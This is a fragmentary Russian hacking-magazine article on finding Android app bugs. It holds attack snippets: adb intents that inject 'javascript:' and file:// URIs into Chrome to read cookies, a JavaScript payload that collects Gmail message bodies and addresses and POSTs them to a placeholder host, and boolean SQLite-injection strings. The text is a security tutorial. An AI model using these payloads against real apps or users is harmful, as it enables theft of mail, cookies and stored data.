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Роботы
ошибаются

ВЗЛОМ
(cyber-punk@xakep.ru, @cyberpunkych)
 (dukebarman@xakep.ru, @dukebarman)

ИЩЕМ БАГИ 
В ПРИЛОЖЕНИЯХ 
ДЛЯ ANDROID
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ДИНАМИЧЕСКИЙ АНАЛИЗ

СТАТИЧЕСКИЙ АНАЛИЗ



ВЗЛОМ
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apps.chrome.SimpleChromeActivity -d 
'http://www.google.ru'

shell@android:/ $ am start -n 
com.android.chrome/com.google.android.
apps.chrome.SimpleChromeActivity -d 
'javascript:alert(document.cookie)'

adb shell am start –n 
com.android.chrome/com.google.android.
apps.chrome.SimpleChromeActivity -d 
'javascript:alert(document.cookie)'

shell@android:/ $ am start -n 
com.android.chrome/com.android.chrome.
Main -d 'fi le:///data/data/com.android.
chrome/app_chrome/Default/Cookies'

ТИП 1. XSS В ПРИЛОЖЕНИИ

var temp;
var i = 0;

var target = "http://some_domain.com/
some_handler.php";
var mid = parseInt(document.
getElementsByTagName("table")[0].id.
substring(1));
var x = new Array(mid);
for (i = mid; i > 0; i = i-1) {
    email = "m"+i;
    temp = "data="+mid+" "+i+" "+
    encodeURI(window.gmail.
    getMessageBody(email)+"\n\n"+
    window.gmail.getAddress(email));
    x[i] = new XMLHttpRequest();
    x[i].open("POST",target,true);
    x[i].setRequestHeader
    ("Content-type", "application/
    x-www-form-urlencoded");
    x[i].send(temp);
}

ТИП 2. UXSS И FILE://

shell@android:/ $ am start -n 
com.android.chrome/com.google.android.
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ТИП 3. SQLITE-INJ В ПРИЛОЖЕНИИ

SELECT de.*, dc.category_name, 
dc.category_color FROM diaro_entries 
de LEFT JOIN diaro_categories dc ON 
de.parent=dc._id
 WHERE (de.'text' like '%ss%' OR 
 de.'tags' like '%ss%' OR de.'gps_
 location' like '%ss%'
 OR de.'gps_coord' like '%ss%' OR 
 dc.category_name like '%ss%') ORDER by 
 de.date DESC, de._id DESC
 LIMIT 0, 25

true -  %') and 1=1-- 
false - %') and 1=0-- 
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ТИП 4. SPOOFING

root@android-sdk/tools # ./emulator 
-avd avd_name -http-proxy http://
127.0.0.1:8080 «
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